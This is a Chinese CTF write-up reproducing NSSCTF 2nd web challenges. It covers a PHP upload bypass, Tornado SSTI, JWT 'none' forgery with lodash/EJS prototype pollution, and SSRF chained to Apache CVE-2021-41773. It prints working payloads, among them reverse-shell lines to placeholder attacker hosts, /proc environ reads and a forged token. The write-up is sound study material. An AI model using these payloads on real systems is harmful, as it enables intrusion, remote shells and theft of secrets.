当前位置:   article > 正文

NSSCTF 2nd Web 题目复现_node5.anna.nssctf.cn

node5.anna.nssctf.cn

php签到

考点:

1.上传表单html的编写

2./. 绕过黑名单(在Linux系统下1.php.是一个合法的文件名,系统不会自动把最后的点去掉并把文件当成php文件执行,所以点绕过只在Windows下有用)

源代码:

  1. <?php
  2. function waf($filename){
  3. $black_list = array("ph", "htaccess", "ini");
  4. $ext = pathinfo($filename, PATHINFO_EXTENSION);
  5. foreach ($black_list as $value) {
  6. if (stristr($ext, $value)){
  7. return false;
  8. }
  9. }
  10. return true;
  11. }
  12. if(isset($_FILES['file'])){
  13. $filename = urldecode($_FILES['file']['name']);
  14. $content = file_get_contents($_FILES['file']['tmp_name']);
  15. if(waf($filename)){
  16. file_put_contents($filename, $content);
  17. } else {
  18. echo "Please re-upload";
  19. }
  20. } else{
  21. highlight_file(__FILE__);
  22. }

 这里就是ban了 "ph", "htaccess", "ini" 然后通过post传文件 

首先咱们直接创建一个表单

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>File Upload Form</title>
  5. </head>
  6. <body>
  7. <h1>File Upload Form</h1>
  8. <form action="http://node5.anna.nssctf.cn:28526/" enctype="multipart/form-data" method="post" >
  9. <label for="file">Select a file:</label>
  10. <input type="file" name="file" id="file">
  11. <br>
  12. <input type="submit" value="Upload File">
  13. </form>
  14. </body>
  15. </html>

然后上传一个php文件 后缀改为.php/.(/.最好用url编码) 然后上传成功即可连shell或者rce

这里介绍另一种解法 

  1. import requests
  2. url = 'http://node5.anna.nssctf.cn:28526/'
  3. file_content = "<?php phpinfo();?>'"
  4. file = {'file': ('1.php%2f.', file_content)}
  5. response = requests.post(url, files=file)
  6. print(response.text)

跑完访问1.php 搜索flag

 2周年快乐!

签到提

payload:

curl https://www.nssctf.cn/flag
 

MyHurricane 

考点:tornado模板注入

不懂可以看这边文章

https://blog.csdn.net/miuzzx/article/details/123329244

直接给了源码

  1. import tornado.ioloop
  2. import tornado.web
  3. import os
  4. BASE_DIR = os.path.dirname(__file__)
  5. def waf(data):
  6. bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
  7. for c in bl:
  8. if c in data:
  9. return False
  10. for chunk in data.split():
  11. for c in chunk:
  12. if not (31 < ord(c) < 128):
  13. return False
  14. return True
  15. class IndexHandler(tornado.web.RequestHandler):
  16. def get(self):
  17. with open(__file__, 'r') as f:
  18. self.finish(f.read())
  19. def post(self):
  20. data = self.get_argument("ssti")
  21. if waf(data):
  22. with open('1.html', 'w') as f:
  23. f.write(f"""<html>
  24. <head></head>
  25. <body style="font-size: 30px;">{data}</body></html>
  26. """)
  27. f.flush()
  28. self.render('1.html')
  29. else:
  30. self.finish('no no no')
  31. if __name__ == "__main__":
  32. app = tornado.web.Application([
  33. (r"/", IndexHandler),
  34. ], compiled_template_cache=False)
  35. app.listen(827)
  36. tornado.ioloop.IOLoop.current().start()

可以看到源码过滤了'"__()orandnot{{}}

和flask模板一样,我们可以用{%代替{{

 为了避免出现括号、下划线等字符,我们可以不用引号直接就行模板继承从而达到任意文件读取的效果。

payload:(非预期:直接读取环境变量)

ssti={% include /proc/1/environ %}

方法二:命令执行

如果没有过滤,我们的payload:

{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}


这里可以从上述文章得到一个需要稍加修改的payload

既然已经过滤了', ", __, (, ), or, and, not, {{, }},那我们就一步步来绕过过滤

先绕过过滤{{}},我们可以用{%。

{%autoescape None%}{%raw ...%}可以等同于{{ }},这个在官方文档中有写。

因为过滤的是双下划线__,所以这里我们用单下划线也可以,也就是可以利用_tt_utf8

剩下的就可以对_tt_utf8进行变量覆盖来进行绕过了

参考:

tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)

这里借用一下Boogipop师傅的payload:

POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
 

改下ip 和port就行

最终环境变量找到flag

NSSCTF{25e0188a-7033-4918-955d-45197512c05e}

MyJs 

打开是个登入页面 查看源码 有/source 访问/source路由得到源代码

  1. const express = require('express');
  2. const bodyParser = require('body-parser');
  3. const lodash = require('lodash');
  4. const session = require('express-session');
  5. const randomize = require('randomatic');
  6. const jwt = require('jsonwebtoken')
  7. const crypto = require('crypto');
  8. const fs = require('fs');
  9. global.secrets = [];
  10. express()
  11. .use(bodyParser.urlencoded({extended: true}))
  12. .use(bodyParser.json())
  13. .use('/static', express.static('static'))
  14. .set('views', './views')
  15. .set('view engine', 'ejs')
  16. .use(session({
  17. name: 'session',
  18. secret: randomize('a', 16),
  19. resave: true,
  20. saveUninitialized: true
  21. }))
  22. .get('/', (req, res) => {
  23. if (req.session.data) {
  24. res.redirect('/home');
  25. } else {
  26. res.redirect('/login')
  27. }
  28. })
  29. .get('/source', (req, res) => {
  30. res.set('Content-Type', 'text/javascript;charset=utf-8');
  31. res.send(fs.readFileSync(__filename));
  32. })
  33. .all('/login', (req, res) => {
  34. if (req.method == "GET") {
  35. res.render('login.ejs', {msg: null});
  36. }
  37. if (req.method == "POST") {
  38. const {username, password, token} = req.body;
  39. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
  40. if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
  41. return res.render('login.ejs', {msg: 'login error.'});
  42. }
  43. const secret = global.secrets[sid];
  44. const user = jwt.verify(token, secret, {algorithm: "HS256"});
  45. if (username === user.username && password === user.password) {
  46. req.session.data = {
  47. username: username,
  48. count: 0,
  49. }
  50. res.redirect('/home');
  51. } else {
  52. return res.render('login.ejs', {msg: 'login error.'});
  53. }
  54. }
  55. })
  56. .all('/register', (req, res) => {
  57. if (req.method == "GET") {
  58. res.render('register.ejs', {msg: null});
  59. }
  60. if (req.method == "POST") {
  61. const {username, password} = req.body;
  62. if (!username || username == 'nss') {
  63. return res.render('register.ejs', {msg: "Username existed."});
  64. }
  65. const secret = crypto.randomBytes(16).toString('hex');
  66. const secretid = global.secrets.length;
  67. global.secrets.push(secret);
  68. const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
  69. res.render('register.ejs', {msg: "Token: " + token});
  70. }
  71. })
  72. .all('/home', (req, res) => {
  73. if (!req.session.data) {
  74. return res.redirect('/login');
  75. }
  76. res.render('home.ejs', {
  77. username: req.session.data.username||'NSS',
  78. count: req.session.data.count||'0',
  79. msg: null
  80. })
  81. })
  82. .post('/update', (req, res) => {
  83. if(!req.session.data) {
  84. return res.redirect('/login');
  85. }
  86. if (req.session.data.username !== 'nss') {
  87. return res.render('home.ejs', {
  88. username: req.session.data.username||'NSS',
  89. count: req.session.data.count||'0',
  90. msg: 'U cant change uid'
  91. })
  92. }
  93. let data = req.session.data || {};
  94. req.session.data = lodash.merge(data, req.body);
  95. console.log(req.session.data.outputFunctionName);
  96. res.redirect('/home');
  97. })
  98. .listen(827, '0.0.0.0')

先利用register路由注册一个账号

注册之后得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJhIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTg0NjMyMzJ9.nfg3mfhSXwfyh-kySP3a7zXkBxQp_sR7-CQESEJvBqw

一眼 jwt 解码看看

https://jwt.io/

查看源码,在/register的路由源码中得知,题目中存在一个nss的用户名

以及在以nss登录后,于/update路由中我们可以构造payload造成ejs模板引擎污染

req.session.data = lodash.merge(data, req.body);中的merge函数是原型链污染高位函数

关键还是在login路由的代码 

  1. .all('/login', (req, res) => {
  2. if (req.method == "GET") {
  3. res.render('login.ejs', {msg: null});
  4. }
  5. if (req.method == "POST") {
  6. const {username, password, token} = req.body;
  7. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
  8. if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
  9. return res.render('login.ejs', {msg: 'login error.'});
  10. }
  11. const secret = global.secrets[sid];
  12. const user = jwt.verify(token, secret, {algorithm: "HS256"});
  13. if (username === user.username && password === user.password) {
  14. req.session.data = {
  15. username: username,
  16. count: 0,
  17. }
  18. res.redirect('/home');
  19. } else {
  20. return res.render('login.ejs', {msg: 'login error.'});
  21. }
  22. }
  23. })

代码中的变量sid是JWT中的secretid,要求是不等于undefined,null等等。

验证用户名时使用了函数verify,verify()指定算法的正确方式应该是通过algorithms传入数组,而不是algorithm。

在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。

所以我们的目标进一步是使得代码中JWT解密密钥secret为null或者undefined

代码中的密钥是变量secret是global.secrets[sid],只要我们使sid为空数组[],也就是JWT中的secretid为空数组[],我们就可以使得上面步骤得以实现,然后用空算法(none)伪造JWT
参考:从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

那么我们伪造JWT的脚本如下:

  1. const jwt = require('jsonwebtoken');
  2. global.secrets = [];
  3. var user = {
  4. secretid: [],
  5. username: 'nss',
  6. password: '123456',
  7. "iat":1693372851
  8. }
  9. const secret = global.secrets[user.secretid];
  10. var token = jwt.sign(user, secret, {algorithm: 'none'});
  11. console.log(token);

 生成

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTM1NjE3NDR9.

登入nss

 接下来就是原型链污染了。这里是ejs模板引擎污染,payload可以直接打

/update路由下进行,这里记得修改一下Content-typeapplication/json,以让服务端接受json请求

  1. {
  2. "__proto__":{
  3. "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/XXX/2333 0>&1\"');","compileDebug":true
  4. }
  5. }

修改一下xxx为你的攻击机ip 然后重新访问/home来反弹shell

在环境变量找到flag

 

MyBox 

 非预期

?url=file:///proc/1/environ

 预期:

?url=file:///app/app.py
 

 得到源码:

  1. from flask import Flask, request, redirect
  2. import requests, socket, struct
  3. from urllib import parse
  4. app = Flask(__name__)
  5. @app.route('/')
  6. def index():
  7. if not request.args.get('url'):
  8. return redirect('/?url=dosth')
  9. url = request.args.get('url')
  10. if url.startswith('file://'):
  11. if 'proc' in url or 'flag' in url:
  12. return 'no!'
  13. with open(url[7:], 'r') as f:
  14. data = f.read()
  15. if url[7:] == '/app/app.py':
  16. return data
  17. if 'NSSCTF' in data:
  18. return 'no!'
  19. return data
  20. elif url.startswith('http://localhost/'):
  21. return requests.get(url).text
  22. elif url.startswith('mybox://127.0.0.1:'):
  23. port, content = url[18:].split('/_', maxsplit=1)
  24. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25. s.settimeout(5)
  26. s.connect(('127.0.0.1', int(port)))
  27. s.send(parse.unquote(content).encode())
  28. res = b''
  29. while 1:
  30. data = s.recv(1024)
  31. if data:
  32. res += data
  33. else:
  34. break
  35. return res
  36. return ''
  37. app.run('0.0.0.0', 827)
  1. 代码使用Flask类定义了一个Flask Web应用程序。
  2. index()函数是应用程序的主要路由,当访问根URL(“/”)时会被调用。
  3. 如果URL中没有提供url查询参数,用户会被重定向到根URL,并附带默认值为"dosth"的url参数。
  4. 如果url参数以"file://“开头,代码会检查URL是否包含特定的关键词(“proc"或"flag”)。如果其中任何一个关键词存在,会返回"no!”。否则,它会读取在"file://"之后指定的文件的内容,并执行特定的操作:
  • 如果文件路径为"/app/app.py",则返回该文件的内容。
  • 如果文件内容包含"NSSCTF",则返回"no!"。
  • 否则,返回文件的内容。
  1. 如果url参数以"http://localhost/"开头,代码会向指定的URL发出HTTP GET请求(假设该URL位于本地机器上),并返回响应的文本内容。
  2. 如果url参数以"mybox://127.0.0.1:"开头,代码会从URL中提取端口号和内容。然后,它会建立到"127.0.0.1"上指定端口的TCP套接字连接,并将URL解码后的内容以字节形式发送到套接字。它会接收以1024字节为单位的数据块,直到没有更多数据可接收为止,然后将接收到的数据作为响应返回。

和之前的就别就是不可以直接读取环境变量

这里可以看到一个比较明显的SSRF利用点

  1. elif url.startswith('mybox://127.0.0.1:'):
  2. port, content = url[18:].split('/_', maxsplit=1)
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

利用gopher协议来打

 具体访问:

https://zhuanlan.zhihu.com/p/112055947

 利用gopher协议来打,脚本如下 

  1. import urllib.parse
  2. test =\
  3. """GET /xxx.php HTTP/1.1
  4. Host: 127.0.0.1:80
  5. """
  6. #注意后面一定要有回车,回车结尾表示http请求结束
  7. tmp = urllib.parse.quote(test)
  8. new = tmp.replace('%0A','%0D%0A')
  9. result = 'gopher://127.0.0.1:80/'+'_'+new
  10. print(result)

 得到

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

但是代码修改过,我们需要利用mybox进行交互而不是gopher,修改一下 

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
 

这里注意一下,是需要二次URL编码的 

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
 

Apache/2.4.49 (Unix),这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773) 

 这里直接用gopher协议去打这个漏洞,POST发包,执行命令来反弹shell

 脚本如下

  1. import urllib.parse
  2. payload =\
  3. """POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
  4. Host: 127.0.0.1:80
  5. Content-Type: application/x-www-form-urlencoded
  6. Content-Length: 58
  7. echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1' //填入攻击机ip端口
  8. """
  9. #注意后面一定要有回车,回车结尾表示http请求结束。
  10. tmp = urllib.parse.quote(payload)
  11. new = tmp.replace('%0A','%0D%0A')
  12. result = 'gopher://127.0.0.1:80/'+'_'+new
  13. result = urllib.parse.quote(result)
  14. print(result) # 这里因为是GET请求发包所以要进行两次url编码

 得到:

gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

记得修改为mybox 

mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

传参成功进行反弹shell 环境得到flag


 


 


 

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号